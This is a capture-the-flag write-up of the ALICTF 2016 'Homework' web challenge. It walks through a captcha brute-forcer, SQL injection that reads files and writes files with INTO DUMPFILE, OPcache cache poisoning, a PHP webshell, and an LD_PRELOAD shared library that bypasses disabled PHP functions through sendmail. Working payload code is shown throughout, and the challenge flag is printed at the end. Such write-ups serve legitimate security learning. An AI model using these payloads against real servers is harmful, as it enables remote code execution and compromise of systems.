<-- home

ALICTF 2016 / Homework

Description

It’s time to submit your homework. But I’m sure the teacher is too busy to check your homework.


The Challenge

This has been a very fun challenge for our team as it consisted of multiple exploitation techniques leading to RCE.

This is a big writeup, if ever there are some details that are missing, feel free to check the writeup of my teammate here.

The first steps required us to register and login. Both these steps required us to enter a captcha, which we can bruteforce with a simple Python script.

login

These types of captchas are fairly common in CTFs, so we already had a script ready :

#!/usr/bin/env python2

import hashlib
import string
import random
import sys

charset = string.ascii_uppercase + string.digits

while True:
  tmp = ''.join(random.choice(charset) for _ in range(6))
  tmpHash = hashlib.md5(tmp.encode()).hexdigest()
  if tmpHash[0:4] == sys.argv[1]:
    print ("[*] Solved by " + tmp)


Once we log in, we can start playing around with the website. The website consisted of three features. We can :

  • Upload our homework with a brief description
  • View the uploaded file
  • View the description of our previously uploaded homework

main_page upload_success

The first thing we had in mind was to upload a PHP file directly through the upload functionality. Uploading a payload.php file worked, but navigating to it renders a page with the overwritten text bad man.

Moving on to the description viewer functionality of the website, we noticed an SQL injectable parameter in the URL :

detail_view_sqli_poc

The parameter wasn’t filtered at all, which gave us free reign to query whatever we wanted. We could dump some system files, depending on what permissions were set on the filesystem.

detail_view_sqli_loadfile

The source code folders were hardened, so not much we could do there. We then moved on to dumping all of the available tables, unfortunately there wasn’t anything interesting there either.


After much hours of struggling, we discovered 2 files that were publicly available on the website : phpinfo.php and readme.html.

phpinfo.php

This page gave us the classic output of a phpinfo() function call. Browsing through it quickly, we noticed that PHP 7.0’s OPcache feature was enabled with the appropriate settings to run the exploitation technique presented in this article.

phpinfo

From this page, we have all the information we need to try this attack vector :

  • File cache location /tmp/OPcache
  • Document root /var/www/html
  • System ID

In order for this exploitation technique to work though, we needed an unrestricted file upload vulnerability on the website through the www-data user, which wasn’t the case here. Which brings us to the readme.html file.

readme.html

readme

This file guides us through the installation of a plugin of some sort. Though the contents of the file is mostly irrelevant, there is one dangerous line that could make things much simpler for us : chmod 777 -R ./. Because of this line, the /tmp as well as all of its underlying folders have 777 permissions. Which means we no longer require the www-data user to do unrestricted file upload.

We can go through the SQL injection vulnerability and upload files using the INTO DUMPFILE [filename] keywords!


At this point, we must understand that the INTO DUMPFILE [filename] keywords require us to specify a non-existant file. Therefore, we can’t overwrite existing OPcache files. We need to inject an OPcache file for a PHP script that has not been called yet. This is where the homework upload functionality from earlier comes in. Since we can upload any file/extension we want, we can leverage that as the “PHP script that has not been called yet”.

From all the information we’ve gathered so far, we should be able to make this attack vector work. These are the steps we had to do to get a working PHP script :

  1. Create our PHP webshell <?php system($_GET['cmd']) ?>
  2. Compile it into an OPcache file payload.php.bin
  3. Modify the System ID of payload.php.bin to match the server’s System ID
  4. Get the hex dump of our payload. I used cat payload.php.bin | hex
  5. Upload a file with the name payload.php.
  6. Keep the path of the uploaded file aside (/upload/XXXXXXXXXXXX-payload.php).
  7. Upload the OPcache file at the appropriate location through SQL injection
  8. Navigate to the uploaded file.

Here is the SQL injection used on the ID parameter to upload the OPcache file :

-1' SELECT X'[OPCACHE PAYLOAD HEXDUMP]' INTO DUMPFILE '/tmp/[SYSTEM ID]/var/www/html/[PATH OF UPLOADED FILE].bin #

Going through all the steps, we managed to get our PHP file to execute. This is when we encountered a new problem. Most of the functions are blocked!

restrictions

Basically, we have a working PHP script, but no way to execute shell commands.

Going through the phpinfo file again, we’ve noticed that sendmail is enabled.

sendmail

Doing some research on PHP and sendmail, we can see that PHP’s mail() function executes the sendmail binary internally. Knowing this, we’ve concluded that we have to use the LD_PRELOAD trick to inject our own code and get a webshell. You can find out more about it here.

Basically, through PHP’s putenv function, we can specify the path to a malicious shared library in the LD_PRELOAD environment variable.

When a file is executed, the file specified in the LD_PRELOAD variable will be loaded before any other library. Which gives us the oppurtunity to overwrite standard library functions and run our own code.

In this case, we have to create a library containing a function that we know is being called by sendmail. We’ll override the geteuid() function. Here is our code :

/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(char *cmd) {
  char buf[512];
  strcpy(buf, cmd);
  strcat(buf, " > /tmp/_0utput.txt");
  system(buf);
}

int  geteuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}

The script above will run the command specified in the _evilcmd environment variable, and send the output to a temporary file that we can read.

Here is the PHP script that we’ll use to trigger the evil library.

<?php
  $cmd = $_GET['cmd'];

  echo putenv("LD_PRELOAD=/var/www/html/upload/XXXXXXXXXXXX-evil.so");
  echo putenv("_evilcmd=".$_GET['cmd']);
  echo mail("a@example.com", "a", "a");
  show_source("/tmp/_0utput.txt");
?>

Finally :

  1. Compile the evil.so library
  2. Upload it through the upload functionality of the website
  3. Keep the path of the uploaded file aside (/upload/XXXXXXXXXXXX-evil.so)
  4. Modify the PHP script with the correct evil.so path.
  5. Use the OPcache exploit technique from earlier to get a working PHP script on the server.
  6. Navigate to the PHP script with the cmd=echo ok URL parameter.

cmd_interface_test

At this point, it’s just a matter of finding the flag. Some common commands like ls and cat are restricted which makes this last step harder. We used printf '%s\n' /* as a substitute for ls and tac as a substitute for cat.

cmd_interface_ls cmd_interface_flag

Flag : alictf{nk2csizy7od2feyt5un4mx7s891gilf4}